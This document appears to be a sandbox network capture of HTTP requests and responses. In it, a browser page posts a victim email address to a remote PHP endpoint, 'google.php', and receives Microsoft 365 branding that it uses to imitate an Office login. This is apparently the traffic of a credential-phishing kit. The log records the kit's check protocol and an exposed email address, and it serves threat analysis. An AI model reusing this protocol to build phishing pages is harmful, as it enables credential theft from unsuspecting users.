2025-04-17 13:21:53 UTC	665	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:54 UTC	831	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:54 GMT Content-Type: image/png Content-Length: 21873 Connection: close CF-Ray: 931c3a685d7d6776-ATL Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, no-transform, immutable, max-age=2592000 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Strict-Transport-Security: max-age=604800 Vary: Accept-Encoding access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options server-timing: cld-cloudflare;dur=29;start=2025-04-17T13:21:53.990Z;desc=hit,rtt;dur=106,content-info;desc="width=2016,height=2016,bytes=21873,format="png",o=1,crt=1742052868,ef=(17);" timing-allow-origin: * x-content-type-options: nosniff x-request-id: 66832d6d13078dacf529e15646e9e921 Server: cloudflare
2025-04-17 13:21:54 UTC	538	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 37 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 38 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 35 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 36 34 31 43 45 31 Data Ascii: op CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE1
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: c0 d2 64 63 f7 ee f1 e6 97 25 00 00 00 be 96 d5 85 ad b7 4b 80 8f 29 26 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 Data Ascii: dc%K)& @@<x @@<x @@<
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c Data Ascii: <x @@<x @@<x @@<
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 Data Ascii: <x @@<x @@<x @@
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 c0 2b 3b 77 8c d2 40 00 00 51 34 1b 52 2e 58 a4 11 72 09 0f 92 e3 79 17 3b 0b ab 94 76 62 23 96 16 b1 10 16 6c 0c eb 19 84 bf 60 d8 f7 8e 30 ed 87 01 00 80 80 00 0f 00 00 00 00 00 00 Data Ascii: <x @@<x @@<+;w@Q4R.Xry;vb#l`0
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 Data Ascii: @@<x @@<x @@<x
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 Data Ascii: x @@<x @@<x @@<x
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 Data Ascii: <x @@<x @@<x @@<
2025-04-17 13:21:54 UTC	1369	IN	Data Raw: d9 b1 00 00 00 00 c0 20 7f eb 49 ec 2c 8d 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 90 00 ec dc 2f 4e db 71 00 c6 e1 6f ff c8 d6 90 d4 20 10 0b 59 32 c1 25 30 73 d3 38 6e 31 c5 85 96 99 05 2e c0 1d 66 36 3d 07 92 64 84 Data Ascii: I,` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `/Nqo Y2%0s8n1.f6=d

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:53 UTC	584	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:53 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-04-17 13:21:58 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3a68fb45da23-MIA alt-svc: h3=":443"; ma=86400
2025-04-17 13:21:58 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2025-04-17 13:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:59 UTC	397	OUT	GET //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:59 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3a8a2f5332f3-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:21:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:02 UTC	642	OUT	POST //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive Content-Length: 36 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:02 UTC	36	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 64 75 72 72 69 67 61 6e 73 40 61 69 72 62 6f 72 6e 2e 63 6f 6d Data Ascii: do=check&email=durrigans@airborn.com
2025-04-17 13:22:02 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3a9c9ade7f9a-IAD alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:02 UTC	238	IN	Data Raw: 65 38 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 73 6a 62 7a 6a 72 31 7a 74 7a 63 69 76 6a 66 6c 6c 78 6b 68 6f 68 78 69 33 64 65 73 62 6b 61 73 61 62 68 30 6c 6a 72 30 72 6c 6d 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 38 35 35 31 39 37 31 35 39 30 35 38 35 34 30 35 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a Data Ascii: e8{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm\/logintenantbranding\/0\/bannerlogo?ts=638551971590585405","background":null,"federationLogin":"","type":"office"}
2025-04-17 13:22:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:02 UTC	660	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:02 UTC	613	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 9c55de60-f01e-003b-2976-67116a000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=23603560 Date: Thu, 17 Apr 2025 13:22:02 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.04da0760.1744896122.25577b1d
2025-04-17 13:22:02 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:03 UTC	397	OUT	GET //google.php HTTP/1.1 Host: alex.meraviglia.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:03 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 931c3aa3eb3ee14d-JAX alt-svc: h3=":443"; ma=86400
2025-04-17 13:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:03 UTC	695	OUT	GET /dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm/logintenantbranding/0/bannerlogo?ts=638551971590585405 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:03 UTC	711	IN	HTTP/1.1 200 OK Content-Length: 4824 Content-Type: image/* Content-MD5: 5WRQ51p66TCo0K3ozCYEYQ== Last-Modified: Fri, 28 Jun 2024 18:45:59 GMT ETag: 0x8DC97A28DADEC91 x-ms-request-id: 6a977b7f-d01e-0042-5d74-79fa62000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=43508 Date: Thu, 17 Apr 2025 13:22:03 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.04da0760.1744896123.25577c3a
2025-04-17 13:22:03 UTC	4824	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 24 08 06 00 00 00 5f 7a 02 80 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 07 74 49 4d 45 07 e8 06 1c 12 29 0e 1f 10 eb 3a 00 00 12 77 49 44 41 54 78 da ed 9b 79 74 55 d5 bd c7 3f bf 73 ce bd 49 6e 12 12 92 90 01 48 84 10 22 83 80 0c 11 10 50 c4 8a 1a a5 c8 24 58 d4 55 da f7 6c 15 57 eb aa da 57 df ab 43 6b 6d ed d3 da fa c4 a9 b5 f5 2d 95 b1 d0 aa 08 05 94 51 46 09 20 53 18 32 92 09 42 e6 f1 e6 0e 67 ef f7 47 20 40 b8 49 2e 68 bb ba 5e f3 5d 2b 2b 0b f6 ef fc f6 f4 dd bf 69 ef 40 37 ba d1 8d 6e 74 a3 1b dd e8 46 37 ba d1 8d 6e 74 e3 ea 21 5f e5 e3 4d 47 ab 1e 38 94 53 f9 1e 0e 03 44 81 52 80 71 91 84 46 f9 6d fa 24 45 31 77 6c df 4e fb fa 60 7b a1 ae a8 6c 46 Data Ascii: PNGIHDR$_zpHYs%%IR$tIME):wIDATxytU?sInH"P$XUlWWCkm-QF S2BgG @I.h^]++i@7ntF7nt!_MG8SDRqFm$E1wlN`{lF

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:22:04 UTC	494	OUT	GET /dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm/logintenantbranding/0/bannerlogo?ts=638551971590585405 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:22:04 UTC	711	IN	HTTP/1.1 200 OK Content-Length: 4824 Content-Type: image/* Content-MD5: 5WRQ51p66TCo0K3ozCYEYQ== Last-Modified: Fri, 28 Jun 2024 18:45:59 GMT ETag: 0x8DC97A28DADEC91 x-ms-request-id: 6a977b7f-d01e-0042-5d74-79fa62000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=43507 Date: Thu, 17 Apr 2025 13:22:04 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.04da0760.1744896124.25577d2a
2025-04-17 13:22:04 UTC	4824	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 24 08 06 00 00 00 5f 7a 02 80 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 07 74 49 4d 45 07 e8 06 1c 12 29 0e 1f 10 eb 3a 00 00 12 77 49 44 41 54 78 da ed 9b 79 74 55 d5 bd c7 3f bf 73 ce bd 49 6e 12 12 92 90 01 48 84 10 22 83 80 0c 11 10 50 c4 8a 1a a5 c8 24 58 d4 55 da f7 6c 15 57 eb aa da 57 df ab 43 6b 6d ed d3 da fa c4 a9 b5 f5 2d 95 b1 d0 aa 08 05 94 51 46 09 20 53 18 32 92 09 42 e6 f1 e6 0e 67 ef f7 47 20 40 b8 49 2e 68 bb ba 5e f3 5d 2b 2b 0b f6 ef fc f6 f4 dd bf 69 ef 40 37 ba d1 8d 6e 74 a3 1b dd e8 46 37 ba d1 8d 6e 74 e3 ea 21 5f e5 e3 4d 47 ab 1e 38 94 53 f9 1e 0e 03 44 81 52 80 71 91 84 46 f9 6d fa 24 45 31 77 6c df 4e fb fa 60 7b a1 